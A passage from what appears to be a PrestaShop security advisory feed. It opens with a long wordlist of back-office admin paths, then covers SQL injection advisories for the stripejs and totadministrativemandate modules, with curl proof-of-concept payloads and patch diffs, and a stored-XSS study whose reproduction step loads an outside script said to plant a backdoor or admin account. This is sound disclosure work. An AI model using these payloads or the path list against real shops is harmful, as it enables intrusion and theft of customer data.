/gerenciar/
/gestadmin/
/gestao/
/gestaomoda/
/gestion/
/gestion97420/
/gestionclaus/
/gestione/
/gestione1212/
/gestione_giralamoda/
/gestion-horseshop/
/gestionLSAC/
/gestor/
/gesyfar/
/gjjkonp89brbjnla/
/GLOVAL/
/gmcth4we5uxpe33h/
/gohost4u/
/gourmetadminshelf2015/
/grxxq6ww27n1ysem/
/gst/
/gtpanel/
/gyphhw69kzy5qr7v/
/h4zwbbzuwygrf6on/
/haldus/
/hardadmin/
/hitechpoint/
/hkdou3in4cbvjmls/
/hpyadmin/
/Hrundel681/
/htaccessed/
/htko0d1panwxbnaa/
/iadmin/
/ibetjg4wuzsvzgpz/
/idbucdw1fqslmydf/
/iehj3xuelzuchhne/
/ih4sqfvk8gkmu0k2/
/intranet/
/ipuscfvde1hdzcgz/
/ivecftkzpomacowd/
/ivylql5u4cburxw4/
/j5gtolzf0sobgbfq/
/j91rw0lho2qh3ldy/
/jaimecanfa/
/japoadmin2015/
/JbC6jS6Bu3/
/jbkok0sogjlkxjqo/
/jc8j1koihebt892o/
/jesurfe/
/jh6xlfvpqtm7s1va/
/jlqn9sypxk7a0vtw/
/jvh/
/jy7qa3hfwxqowgyh/
/k2nulyrckq1gqaoo/
/k4ozho9eccucecl7/
/k6na7ncqkevp0cw3/
/kckuqa6uwtawfcli/
/kesh_co_883Xez/
/kishanhadmin@2020/
/knotadm/
/Kontrolmappa/
/krjWB2dS99rpFR2X/
/l1rnmzqjs8shy1bw/
/l94ffpzxvcfnskjl/
/lhxypugy4am6qkmn/
/lifinadmin20/
/lmi5d3sp0reewhl7/
/logme/
/logowanie-sklep-admin/
/lr5fwbinldnwbype/
/lsb0xgmue788b5fr/
/ltxuqsmarzelphec/
/lueli_admin_16/
/m8l5ote67keq3d6k/
/manage/
/manager/
/manager_swiss/
/Master/
/@mco_1/
/MDVadminMDV/
/miadmin/
/mitienda/
/mixeri2019/
/mkadmin/
/mksadmin/
/mkt/
/mngmt/
/montel2018/
/mshop/
/muk8dnnrgkjpcdgv/
/myadmin/
/myfs2019admin/
/n1glovesbg/
/n2n95dzmrrg7ngyr/
/nay_nay/
/negozio/
/new2020/
/nimda/
/noshi_boss/
/nwlogin/
/o5fdggcwu7bzhtlu/
/o7g8u2ev0zcc7w3q/
/o80aopsg1gnsflpc/
/office/
/office-101/
/ofmczdq07bwncxte/
/ofmxucfffckvemcj/
/ojp8dorpi742mvcl/
/onqj8bzv2snwqkdi/
/onyva29/
/operaadmin/
/ougycuktrlama9zs/
/oyg0s5xeqv1c0fwz/
/ozpvwgaleuhnighx/
/painel/
/painelqvml/
/paladmin/
/panel/
/panel0101/
/panel0605/
/panel-acceso/
/panelbce/
/paneldecontrol/
/panell/
/panelweb/
/perun/
/petalos/
/pg1pbtnydhmnushj/
/phenomenonadmin/
/picadmin/
/pn_admin/
/pnva1ay0kydbtwbz/
/ppqtfwekxu7zkdeq/
/private/
/ps-admin/
/ps_admin/
/psadmin/
/ps_captain/
/pshopadmin39/
/pv3vdczmd56gvjpx/
/pythgrl4strpuqdn/
/q6jnni3bnl06ypej/
/qaoih3ad4twh7fau/
/qictnomm7lmpbhyn/
/ql0deebgnkd5ibjp/
/qqntqdfhuodkht2x/
/qrfmudz5hd8kkodn/
/qva1gj48jaielici/
/qvwnv6ciachney5b/
/qwerty1/
/r0ey65lwtyntqmwp/
/r1bd2caltscnuxbu/
/rbo/
/rel20/
/rmihcita3frfrvig/
/rmprknism6ys1rik/
/rodgnkpoqo8dlzea/
/Rs52234Adm98PLLLiY/
/rxohn8gokzn9ebwo/
/rzoquqqdfocpowkm/
/sbwshopadmin/
/sdipanel/
/sevetsesomelj/
/sfbingolxrhcq6ih/
/sh0p4dmin/
/shop-admin/
/shoumanegueletpp/
/sitefactory/
/sjnpctwam8elgg9i/
/slvd/
/smak/
/smartadmin/
/sorloni/
/sorloni2050/
/souan-admin/
/speadmin/
/SPLXADMIN/
/staff/
/stats/
/SUDO-SU-/
/superadmin/
/SurAdm12/
/SVgshU8z48Nt/
/sw0fnvoim5ezcyy3/
/swadmin/
/sxmmujkudfcwuxuf/
/t2branndewzh0953/
/t5s25friwhpusb8e/
/t6oqdozfnjhwkc0i/
/tak-entrar/
/tatachu/
/tj7v24swywapu6kc/
/tlccejbpk8beoehy/
/tngrm7vyg7qpeowg/
/TopXXX/
/trastienda/
/tutrastienda/
/txrfeu1wv2bqeiyv/
/u3ty4ganlwicn8gs/
/u6op2oftqq0dmxfy/
/uc71yjdh5ebmoyo3/
/uct8jzppankhqutf/
/ujypgmq3evf82uid/
/upravnik/
/uugvtsphsttsskai/
/uxeradm/
/valdymas15/
/vbkkbjyth/
/vbxxutyoqs6noyxd/
/vdrkfynoqpdri8tp/
/vhfm7iqc5fknnkkd/
/villanueva_van123/
/vjyhrwnoo9gap5no/
/vsexvdechoz8jcal/
/vskgbnjq2aiw2p0d/
/wacms/
/warehouse/
/webgest/
/websystems/
/WellBO/
/wf0fch8oyzkswquj/
/wguliyq2uhe0d7oj/
/wnxeytg7i6tey1bb/
/wo5a19fe7lnsqmxw/
/wqggipdvfxwvqu43/
/wqsopu8swdby3j9a/
/wraj01izoeot9uf3/
/wv55fzaeawabyfoa/
/wwpsadmin/
/wxycvk4buyx9ntiv/
/wziso3n10vvx09w1/
/x3zxmnt2sqpnrgtk/
/xcu3nlgcbhvsa2lm/
/xd9czpcdl4junmpr/
/xdndjzl3c3egboii/
/xgi24yrrmx6hwfo1/
/xksl7kl07douzzqr/
/xlt0fk6itcts3ftj/
/xlxlen0anj1rjzwd/
/xpmf74ge96hacwe7/
/ybw48oi5897klxdj/
/yolatadmin/
/yonetici/
/yonetim/
/yonetimb/
/yqeylsj1muaktwwp/
/yrsbpskm2a1jgmnq/
/ytu8nrbykk0pfbyd/
/ywtiatw32rqjzo7c/
/yxamk9okcrxufhbu/
/yyadmin/
/yzvsrjcif3jihc6i/
/z27x9r8tdh86bgme/
/z3vvmdgzgsmf3gwb/
/Z4NqwpsW/
/zao8ovjegkweje6u/
/zaplecze/
/zarzadzajsklepem/
/zhk2ip36qotsowj4/
/zkeqlsbbejnr16hh/
/zknxpn0g6tw4aj5q/
</code></pre></div></div>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="brute-force" /><summary type="html"><![CDATA[CWE-89 (SQL Injection) on PrestaShop can force a super admin creation without difficulty. If your Prestashop suffer of a known backoffice’s link (see list below), the attacker can use the “Forgotten password” functionnality after the creation of the super admin user by SQL Injection and then, will be able to connect to the Shop’s backoffice.]]></summary></entry><entry><title type="html">[CVE-2023-23315] Improper neutralization of an SQL parameter in stripejs module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/01/stripejs.html" rel="alternate" type="text/html" title="[CVE-2023-23315] Improper neutralization of an SQL parameter in stripejs module for PrestaShop" /><published>2023-03-01T00:00:00+00:00</published><updated>2023-03-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/01/stripejs</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/01/stripejs.html"><![CDATA[<p>The PrestaShop e-commerce platform module “Stripe Payment Pro (SCA-ready)” aka stripejs (*) contains a Blind SQL injection vulnerability up to version 4.5.5. Release 4.5.5 fixed the vulnerability.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23315">CVE-2023-23315</a></li>
  <li><strong>Published at</strong>: 2023-03-01</li>
  <li><strong>Advisory source</strong>: Friends-of-presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: stripejs (*)</li>
  <li><strong>Impacted release</strong>: &lt;4.5.5 (4.5.5 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: NTS</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<p>(*) Do not confuse with stripe_official.</p>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">stripejsValidationModuleFrontController::initContent()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'fc=module&amp;module=stripejs&amp;controller=validation&amp;source_type=alipay&amp;payment_intent=test%22%3BSELECT%20SLEEP%2825%29%3B%23'</span> <span class="s1">'https://domain.tld/'</span>
</code></pre></div></div>

<h2 id="patch-of-release-452-to-455">Patch of release 4.5.2 to 4.5.5</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.5.2/stripejs/controllers/front/validation.php
</span><span class="gi">+++ 4.5.5/stripejs/controllers/front/validation.php
</span><span class="p">@@ -46,24 +46,28 @@</span> class stripejsValidationModuleFrontContr
         $history_page = $this-&gt;context-&gt;link-&gt;getPageLink('history', true);
         $conveyor = array();
 
<span class="gi">+        if (!$this-&gt;context-&gt;cookie-&gt;logged) {
+            return die('&lt;h2&gt;' . $this-&gt;module-&gt;l('Your transaction will be validated soon.') . '&lt;/h2&gt;');
+        }
+
</span>         if (Tools::getIsset('stripe_checkout') &amp;&amp; Tools::getValue('stripe_checkout') == 'failed') {
             Tools::redirect($order_page);
<span class="gd">-        } elseif (Tools::getIsset('payment_intent') &amp;&amp; Tools::getIsset('redirect_status') &amp;&amp; Tools::getValue('redirect_status') == failed) {
</span><span class="gi">+        } elseif (Tools::getIsset('payment_intent') &amp;&amp; Tools::getIsset('redirect_status') &amp;&amp; Tools::getValue('redirect_status') == 'failed') {
</span> 
             $intent = \Stripe\PaymentIntent::retrieve(Tools::getValue('payment_intent'));
             $pi_error = (!empty($intent-&gt;last_payment_error) ? $intent-&gt;last_payment_error-&gt;message : (isset($intent-&gt;error) ? $intent-&gt;error-&gt;message : ''));
             Tools::redirect($this-&gt;context-&gt;link-&gt;getPageLink('order', true, null, array('stripe_error' =&gt; $pi_error)));
         } else {
<span class="gd">-            //sleep(2);
</span><span class="gi">+
</span>             if (Tools::getIsset('payment_intent')) {
<span class="gd">-                $conveyor['cart_id'] = Db::getInstance()-&gt;getValue('SELECT id_cart FROM ' . _DB_PREFIX_ . 'stripejs_transaction WHERE id_payment_intent = "' . Tools::getValue('payment_intent') . '" AND type = "payment"');
</span><span class="gi">+                $conveyor['cart_id'] = Db::getInstance()-&gt;getValue('SELECT id_cart FROM ' . _DB_PREFIX_ . 'stripejs_transaction WHERE id_payment_intent = "' . pSQL(Tools::getValue('payment_intent')) . '" AND type = "payment"');
</span>                 $conveyor['token'] = Tools::getValue('payment_intent');
             } elseif (!empty($this-&gt;context-&gt;cart-&gt;id)) {
                 $conveyor['cart_id'] = $this-&gt;context-&gt;cart-&gt;id;
                 $conveyor['token'] = Db::getInstance()-&gt;getValue('SELECT id_payment_intent FROM ' . _DB_PREFIX_ . 'stripejs_transaction WHERE id_cart = ' . $conveyor['cart_id'] . ' AND type = "payment"');
             } elseif (Tools::getIsset('cid')) {
<span class="gd">-                $conveyor['cart_id'] = Tools::getValue('cid');
-                $conveyor['token'] = Db::getInstance()-&gt;getValue('SELECT id_payment_intent FROM ' . _DB_PREFIX_ . 'stripejs_transaction WHERE id_cart = ' . Tools::getValue('cid') . ' AND type = "payment"');
</span><span class="gi">+                $conveyor['cart_id'] = (int) Tools::getValue('cid');
+                $conveyor['token'] = Db::getInstance()-&gt;getValue('SELECT id_payment_intent FROM ' . _DB_PREFIX_ . 'stripejs_transaction WHERE id_cart = ' . (int) Tools::getValue('cid') . ' AND type = "payment"');
</span>             }
 
             $id_order = (int) Order::getOrderByCartId((int) $conveyor['cart_id']);
<span class="p">@@ -76,13 +80,13 @@</span> class stripejsValidationModuleFrontContr
 
                 $this-&gt;setTemplate('module:stripejs/views/templates/hook/payment_validation.tpl');
                 if (Tools::getValue('attempt') &lt; 4) {
<span class="gd">-                    $arr_content = array('content_only' =&gt; 1, 'attempt' =&gt; (int) Tools::getValue('attempt') + 1, 'cid' =&gt; $conveyor['cart_id']);
</span><span class="gi">+                    $arr_content = array('content_only' =&gt; 1, 'attempt' =&gt; (int) Tools::getValue('attempt') + 1, 'cid' =&gt; (int) $conveyor['cart_id']);
</span>                     $this-&gt;context-&gt;smarty-&gt;assign(array(
                         'reload' =&gt; 1,
                         'reloadURL' =&gt; $this-&gt;context-&gt;link-&gt;getModuleLink($this-&gt;module-&gt;name, 'validation', $arr_content, true),
                     ));
                 } else {
<span class="gd">-                    $conveyor['source_type'] = $result_json-&gt;payment_method_details-&gt;type;
</span><span class="gi">+                    $conveyor['source_type'] = NULL;
</span>                     $this-&gt;module-&gt;processPayment($conveyor);
                 }
             }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>stripejs</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>July 2022</td>
      <td>Security issue report to the author</td>
    </tr>
    <tr>
      <td>September 2022</td>
      <td>Author publishes release with partial fix 4.5.3</td>
    </tr>
    <tr>
      <td>2022-12-27</td>
      <td>Contact PrestaShop addons to ask a fix</td>
    </tr>
    <tr>
      <td>2023-01-05</td>
      <td>Author publishes release with all fixed 4.5.5</td>
    </tr>
    <tr>
      <td>2023-01-10</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-01</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/payment-card-wallet/17856-stripe-payment-pro-sca-ready.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-23315">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Creabilis&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The PrestaShop e-commerce platform module “Stripe Payment Pro (SCA-ready)” aka stripejs (*) contains a Blind SQL injection vulnerability up to version 4.5.5. Release 4.5.5 fixed the vulnerability.]]></summary></entry><entry><title type="html">CWE-79 Danger of stored XSS vulnerability in CMS especially for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html" rel="alternate" type="text/html" title="CWE-79 Danger of stored XSS vulnerability in CMS especially for PrestaShop" /><published>2023-02-07T00:00:00+00:00</published><updated>2023-02-07T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/02/07/stored-xss</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html"><![CDATA[<p>As a developer, the severity level is often considered to be low. By underestimating the gravity, we lower our guard against these vulnerabilities. However, some types of vulnerabilities called “stored XSS” are particularly critical when they spread from the front office to the back office.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>Published at</strong>: 2023-02-07</li>
  <li><strong>Platform</strong>: All CMS.</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: critical (9.6)</li>
</ul>

<p>Vulnerability by design applied on PrestaShop qualified on productcomments module suffering of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35933">CVE-2022-35933</a></p>

<h2 id="description">Description</h2>

<p>This publication is a summary of Touchweb’s work studying the impact of XSS vulnerabilities in the context of the PrestaShop CMS.</p>

<p>To highlight the criticality of XSS and give us the means to mitigate their effects, <a href="https://www.touchweb.fr">TouchWeb</a> conducted its research based on the vulnerability of the <a href="https://github.com/PrestaShop/productcomments/security/advisories/GHSA-prrh-qvhf-x788">productcomments module</a>, which in version 5.0.1 has a stored XSS.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H</p>

<h3 id="how-to-know-if-a-xss-is-critical-">How to know if a XSS is critical ?</h3>

<p>That’s important to caracterize with strictness XSS. There is too many people which only tag this vulnerability as “XSS” which is dangerous since there will be misunderstood and often under valuation of gravity.</p>

<p>The most dangerous are XSS of type 2 according to their official CWE (<a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a>), meaning Stored-XSS (or persistent XSS) and more specialy those which can be injected from FRONT by guest or assimilated to target BACK.</p>

<p>We will call them: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a> / T2-F2B (Type 2 : Stored XSS AND from Front office to Back office).</p>

<p>In summary, if you can inject a XSS from FRONT as guest (or assimilated), which will be stored in database then interprated on BACK, then it’s a critical vulnerability which must be scored CVSS 3 : 9.5+/10 since it unlocks design’s vulnerabilities (users’s administration / modules’s administration / any admin’s controllers)</p>

<p>For all others XSS including Type 0/1 and Type 2 F2F/B2B/B2F, you can preserve a low to medium gravity score specificaly on PrestaShop. Nevertheless, be warn that on other solutions, XSS of type 1 can be critical (like Wordpress which suffer of a predictable backoffice’s link).</p>

<h3 id="module-presentation">Module presentation</h3>

<p>The productcomments module allows, as an anonymous or customer, to post comments associated with products from the front office of the store. Three fields are present:</p>
<ul>
  <li>title</li>
  <li>Author</li>
  <li>Content</li>
</ul>

<p>The author field, after a refactoring, is not protected in the sense that the entered value is stored as is in the database and displayed without escaping in the back office.</p>

<p>Example:</p>
<ul>
  <li>author entered: <em>my name</em></li>
  <li>result: my name will be displayed in bold in the back office in the moderation table of comments.</li>
</ul>

<p>From then on, it is possible to inject malicious JavaScript, for example: <code class="language-plaintext highlighter-rouge">&lt;script src='test.js'&gt;</code></p>

<h3 id="proof-of-concept">Proof of concept</h3>

<p>Touchweb provides two benign JavaScript scripts that highlight the vulnerability for PrestaShop 1.7+ (we tested for 1.7.7.8).</p>
<ul>
  <li>Script A allows injecting a blockwishlist module containing a backdoor without the knowledge of a moderator, i.e. an administrator with rights.</li>
  <li>Script B allows injecting an administrator in the specific case where it is disabled.</li>
</ul>

<p><strong>DO NOT TEST IT IN PRODUCTION.</strong></p>

<h3 id="how-to-reproduce">How to reproduce?</h3>

<ul>
  <li>We installed PrestaShop 1.7.7.8.</li>
  <li>We installed the <a href="https://github.com/PrestaShop/productcomments/releases/download/v5.0.1/productcomments.zip">productcomments module zip</a>.</li>
  <li>(Optional) To facilitate adding comments without a customer account, we activated the anonymous comments option.</li>
  <li>Enter <code class="language-plaintext highlighter-rouge">&lt;script src="//1j.vc/ps_a.js"&gt;</code> or <code class="language-plaintext highlighter-rouge">&lt;script src="//1j.vc/ps_b.js"&gt;</code> as “author” and complete the other fields.</li>
  <li>Return to the back office on the module configuration page.</li>
</ul>

<h3 id="how-to-best-protect-yourself">How to best protect yourself?</h3>

<p>In the face of a Stored XSS vulnerability targeting the back office, it is impossible to undo all the effects. However, the most dangerous exploits can be limited.</p>

<ul>
  <li>Systematically escape characters ‘ “ &lt; and &gt; by replacing them with HTML entities and applying strip_tags - Smarty and Twig provide auto-escape filters :
    <ul>
      <li>Smarty: <code class="language-plaintext highlighter-rouge">{$value.comment|escape:'html':'UTF-8'}</code></li>
      <li>Twig:<code class="language-plaintext highlighter-rouge">{{value.comment|e}}</code></li>
    </ul>
  </li>
  <li>Limit to the strict minimum the length’s value in database - a database field which allow 10 characters (<code class="language-plaintext highlighter-rouge">varchar(10)</code>) is far less dangerous than a field which allow 40+ characters (use cases which can exploit fragmented XSS payloads are very rare)</li>
  <li>Configure CSP headers (content security policies) by listing  externals domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>If applicable: check against all your frontoffice’s uploaders, uploading files which will be served by your server with mime type application/javascript (like every .js natively) must be strictly forbidden as it must be considered as dangerous as PHP files.</li>
  <li>Activate OWASP 941’s rules on your WAF (Web application firewall) - be warn that you will probably break your backoffice and you will need to preconfigure some bypasses against these set of rules.</li>
</ul>

<h3 id="how-to-know-if-im-already-infected-by-a-xss-of-type-2-stored-xss">How to know if I’m already infected by a XSS of type 2 (Stored-XSS)?</h3>

<p>You must check every tables within your database which could store guest’s input, at least against common XSS injection. 
You can find a list of potential hijacked events on <a href="https://github.com/PrestaShop/PrestaShop/blob/develop/classes/Validate.php#L507">PrestaShop method Validate::isCleanHtml()</a></p>

<p>Be warned that you will probably face falses positives alerts which can be time consumming.</p>

<h3 id="how-cmss-core-team-can-help-ecosystem-about-csp-headers-">How CMS’s core team can help ecosystem about CSP headers ?</h3>

<p>If you already setup CSP headers, you already know that it’s a plague on our E-Commerce ecosystem with tens externals dependancies (cariers / banks / tracking / remarketing / …), to setup and more over to maintain over time.</p>

<p>This chaos generate front/back breaks on updates which make it stressfull for all professionnals trying to strength their protection against XSS.</p>

<p>It would be very appreciated if core team constrains plugins developpers to list with strictness their externals dependancies in a normative way which permit a professional generation of CSP headers - not based on chaotic front/back exploration.</p>]]></content><author><name>[&quot;202 ecommerce&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[As a developer, the severity level is often considered to be low. By underestimating the gravity, we lower our guard against these vulnerabilities. However, some types of vulnerabilities called “stored XSS” are particularly critical when they spread from the front office to the back office.]]></summary></entry><entry><title type="html">[CVE-2022-46965] Improper neutralization of an SQL parameter in Administrative Mandate module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/01/31/totadministrativemandate.html" rel="alternate" type="text/html" title="[CVE-2022-46965] Improper neutralization of an SQL parameter in Administrative Mandate module for PrestaShop" /><published>2023-01-31T00:00:00+00:00</published><updated>2023-01-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/01/31/totadministrativemandate</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/01/31/totadministrativemandate.html"><![CDATA[<p>In the module “Administrative Mandate” (totadministrativemandate), an authenticated user can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46965">CVE-2022-46965</a></li>
  <li><strong>Published at</strong>: 2023-01-28</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/202ecommerce/security-advisories/security/advisories/GHSA-hg7m-23j3-rf56">202 ecommerce</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: totadministrativemandate</li>
  <li><strong>Impacted release</strong>: &gt;=1.2.1 and &lt;1.7.2</li>
  <li><strong>Product author</strong>: 202 ecommerce</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: high (8.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>From version 1.2.1 published on 12 October 2012 to 1.7.2 published on 3 December 2020, a sensitive SQL calls in class <code class="language-plaintext highlighter-rouge">PDFMandate::mandatePDF()</code> (or <code class="language-plaintext highlighter-rouge">pdftot::MandatePDF()</code> for older version before 1.5) can be executed with a trivial http call and exploited to forge a bind SQL injection.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: low</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">--cookie-jar</span> cookie.txt <span class="s1">'https://domain.tld/authentification?submitLogin=1&amp;emailXXXX&amp;password=YYY &amp;&amp; \
curl -v --cookie cookie.txt '</span>https://domain.tld/modules/totadministrativemandate/pdftot.php?id_order<span class="o">=</span>1%27%3BSELECT%20SLEEP%2825%29%23<span class="s1">'
</span></code></pre></div></div>

<h2 id="patch-from-162">Patch from 1.6.2</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 1.6.2/totadministrativemandate/pdfmandate15.php
</span><span class="gi">+++ 1.7.2/totadministrativemandate/pdfmandate15.php
</span><span class="p">@@ -1166,15 +1166,15 @@</span> class PDFMandate extends FPDF
         $mode = 'D';
         $slip = false;
         $delivery = false;
        $reference = Tools::getValue('id_order');

        if (version_compare(_PS_VERSION_, '1.5', '&gt;')) {
<span class="gd">-            $SQL = 'SELECT `id_order` FROM `'._DB_PREFIX_."orders` WHERE `reference` = '".$reference."' ";
</span><span class="gi">+            $SQL = 'SELECT `id_order` FROM `'._DB_PREFIX_."orders` WHERE `reference` = '".pSQL($reference)."' ";
</span>            $id_order = Db::getInstance()-&gt;getValue($SQL);
        } else {
            $id_order = Tools::getValue('id_order');
        }
        $order = new Order($id_order);
 
        if (
            !Validate::isLoadedObject($order)

--- 1.6.2/totadministrativemandate/pdfmandate16.php
<span class="gi">+++ 1.7.2/totadministrativemandate/pdfmandate16.php
</span><span class="p">@@ -345,15 +345,15 @@</span> class PDFMandate extends TCPDF
         $mode = 'D';
         $slip = false;
         $delivery = false;
        $reference = Tools::getValue('id_order');

        if (version_compare(_PS_VERSION_, '1.5', '&gt;')) {
<span class="gd">-            $SQL = 'SELECT `id_order` FROM `'._DB_PREFIX_."orders` WHERE `reference` = '".$reference."' ";
</span><span class="gi">+            $SQL = 'SELECT `id_order` FROM `'._DB_PREFIX_."orders` WHERE `reference` = '".pSQL($reference)."' ";
</span>            $id_order = Db::getInstance()-&gt;getValue($SQL);
        } else {
            $id_order = Tools::getValue('id_order');
        }
        $order = new Order($id_order);
 
        if (
            !Validate::isLoadedObject($order)
</code></pre></div></div>

<p>202 ecommerce thanks TouchWeb for its courtesy and its help after the vulnerability disclosure.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module up to 1.7.2.</li>
